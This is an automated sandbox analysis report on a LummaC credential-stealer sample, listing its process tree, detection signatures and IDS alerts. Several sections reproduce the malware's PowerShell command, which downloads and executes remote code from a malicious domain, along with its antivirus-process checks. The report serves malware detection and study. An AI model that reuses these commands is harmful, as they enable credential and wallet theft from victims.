Edit tour

Windows Analysis Report
Active_Setup.exe

Overview

General Information

Sample name:	Active_Setup.exe
Analysis ID:	1583033
MD5:	736d94d331cf5d6a2cc45f4743132008
SHA1:	0b55e71db47a40ef5b4f9f2068dd26fa64b898b2
SHA256:	b630b19ccd0acb4fda6404610f1cd7df0c71849f2c9dca42ce5df9779f96db47
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Active_Setup.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\Active_Setup.exe" MD5: 736D94D331CF5D6A2CC45F4743132008)

cmd.exe (PID: 7396 cmdline: "C:\Windows\System32\cmd.exe" /c move Vocal Vocal.cmd & Vocal.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7480 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7496 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7528 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7536 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7572 cmdline: cmd /c md 529052 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 7588 cmdline: extrac32 /Y /E Trials MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 7640 cmdline: findstr /V "APPROXIMATELY" Compound MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7656 cmdline: cmd /c copy /b 529052\Bother.com + Stones + Floral + Web + Know + Howard + Holly + Production + Stored + Britney + Musicians 529052\Bother.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7672 cmdline: cmd /c copy /b ..\Hopes + ..\Newark + ..\Announces + ..\Much + ..\Fabrics + ..\Forums + ..\Regardless + ..\Train k MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Bother.com (PID: 7688 cmdline: Bother.com k MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 8080 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

OS47CTVTQTDUZX7YVJLO9.exe (PID: 5164 cmdline: "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907)

OS47CTVTQTDUZX7YVJLO9.tmp (PID: 1772 cmdline: "C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$40464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

OS47CTVTQTDUZX7YVJLO9.exe (PID: 2180 cmdline: "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907)

OS47CTVTQTDUZX7YVJLO9.tmp (PID: 1700 cmdline: "C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$50464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 7412 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7608 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7652 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7644 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7612 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4476 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1196 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7400 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1104 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5848 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5572 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2844 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3744 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7864 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5260 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2212 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7920 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7936 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7916 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

BrightLib.exe (PID: 6540 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)

choice.exe (PID: 7704 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Bother.com k, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com, ParentProcessId: 7688, ParentProcessName: Bother.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Bother.com k, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com, ParentProcessId: 7688, ParentProcessName: Bother.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Bother.com k, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com, ParentProcessId: 7688, ParentProcessName: Bother.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Bother.com k, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com, ParentProcessId: 7688, ParentProcessName: Bother.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Bother.com k, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com, ParentProcessId: 7688, ParentProcessName: Bother.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8080, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Vocal Vocal.cmd & Vocal.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7396, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7536, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:44:29.504982+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	172.67.198.102	443	TCP
2025-01-01T16:44:30.890839+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.198.102	443	TCP
2025-01-01T16:44:31.955981+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	172.67.198.102	443	TCP
2025-01-01T16:44:33.031081+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.198.102	443	TCP
2025-01-01T16:44:34.356454+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.198.102	443	TCP
2025-01-01T16:44:35.931167+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	172.67.198.102	443	TCP
2025-01-01T16:44:36.904572+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	172.67.198.102	443	TCP
2025-01-01T16:44:37.865938+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	172.67.198.102	443	TCP
2025-01-01T16:44:39.187276+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	185.161.251.21	443	TCP
2025-01-01T16:44:39.940228+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	104.21.37.128	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:44:30.379263+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	172.67.198.102	443	TCP
2025-01-01T16:44:31.373117+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49739	172.67.198.102	443	TCP
2025-01-01T16:44:38.305848+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49745	172.67.198.102	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:44:30.379263+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49738	172.67.198.102	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:44:31.373117+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49739	172.67.198.102	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:44:40.300980+0100	2008438	1	A Network Trojan was detected	104.21.37.128	443	192.168.2.4	49747	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:44:37.405050+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49744	172.67.198.102	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://dfgh.online/invoker.php?compname=	Avira URL Cloud: Label: malware
Source: https://dfgh.online/invoker.php?compName=user-PC	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe

ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: Active_Setup.exe

Virustotal: Detection: 19%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.0% probability

Source: Active_Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: Active_Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2110626927.00000000073F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2110807205.000000000741A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000032.00000002.2655454017.0000000003692000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2675751558.0000000038C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000032.00000002.2655454017.0000000003692000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2675751558.0000000038C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000011.00000002.2110626927.00000000073EA000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49745 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49738 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 172.67.198.102:443
